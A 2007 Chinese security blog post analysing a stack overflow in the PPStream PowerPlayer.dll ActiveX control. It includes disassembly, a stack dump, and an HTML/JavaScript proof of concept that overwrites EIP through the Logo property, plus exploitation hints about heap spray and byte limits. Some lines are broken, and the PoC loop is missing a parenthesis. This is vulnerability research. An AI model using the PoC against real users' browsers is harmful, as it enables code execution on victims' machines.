2007年8月22日星期三

[Tips]PPStream PowerPlayer.dll Activex栈溢出分析

by axis
2007-08-22
http://www.ph4nt0m.org

这个漏洞是看雪的dummy发现的。
原文链接:http://bbs.pediy.com/showthread.php?t=49949
目前dummy已经通知了厂商,在最新版本的ppstream中,已经修复了这个漏洞

漏洞影响的版本是 PowerPlayer.dll 版本: 2.0.1.3829

这个漏洞和以前的qq、新浪UC的activex漏洞一样,是由于strcat造成的,而且同样和当前用户名有关。所以虽然这是栈溢出,但是要做到通用,还是只能用heap spray的方法比较好。不过如果已经知道用户名了,则可以定制出一个完美的exploit。

看漏洞程序:
在如下地方:
在MFC42.DLL中:

73DB7BB1    8BCE            MOV ECX,ESI
73DB7BB3    FF53 
14         CALL DWORD PTR DS:[EBX+14]               ; POWERP~1.026E1FF7

一路跟进去,到了如下调用strcat的地方(此时已经到了PowerPlayer.dll里了,这个dll每次加载地址都不同):
026E2159    8D85 9CFEFFFF   LEA EAX,DWORD PTR SS:[EBP-164]
026E215F    C70424 E8B46F02 MOV DWORD PTR SS:[ESP],POWERP~1.026FB4E8
026E2166    
50              PUSH EAX
026E2167    FFD3            CALL EBX                                 ; kernel32.lstrcatA
026E2169    FF36            PUSH DWORD PTR DS:[ESI]
026E216B    8D85 9CFEFFFF   LEA EAX,DWORD PTR SS:[EBP
-164]
026E2171    
50              PUSH EAX
026E2172    FFD3            CALL EBX                                 ; 溢出  lstrcatA

此时栈里的内容为:
EBP-164  > 445C3A43  C:\D
EBP
-160  > 6D75636F  ocum
EBP
-15C  > 73746E65  ents
EBP
-158  > 646E6120   and
EBP
-154  > 74655320   Set  msimtf.74655320
EBP
-150  > 676E6974  ting
EBP
-14C  > 64415C73  s\Ad
EBP
-148  > 696E696D  mini
EBP
-144  > 61727473  stra
EBP
-140  > 5C726F74  tor\
EBP
-13C  > 6C707041  Appl
EBP
-138  > 74616369  icat
EBP
-134  > 206E6F69  ion
EBP
-130  > 61746144  Data
EBP
-12C  > 5370705C  \ppS
EBP
-128  > 61657274  trea
EBP
-124  > 0A0A5C6D  m\..
EBP
-120  > 0A0A0A0A  .
EBP
-11C  > 0A0A0A0A  .
EBP
-118  > 0A0A0A0A  .
EBP
-114  > 0A0A0A0A  .

所以当覆盖164h时,就覆盖了EBP,注意这个164h是要包含前面的环境目录的。
所以这个漏洞是和用户名的长度有关系的,不同的用户名,需要根据长度进行调整。

以下是在用户名为administrator的情况下,覆盖eip的poc (eip = 'SXIA'):
<html><body>
<object id="ppc" classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object>
<script>
var buffer = '\x41';
while (buffer.length < 294
buffer 
+= '\x41';
buffer 
+= 'AXIS';

ppc.Logo 
= buffer;
</script>
</body></html>

还有一点要注意的就是,payload里不能包含有大于0x80的字符,不然会被转换。

听说还有其他dll有问题,没时间细看了,哪位朋友有时间不妨fuzz一下。

没有评论: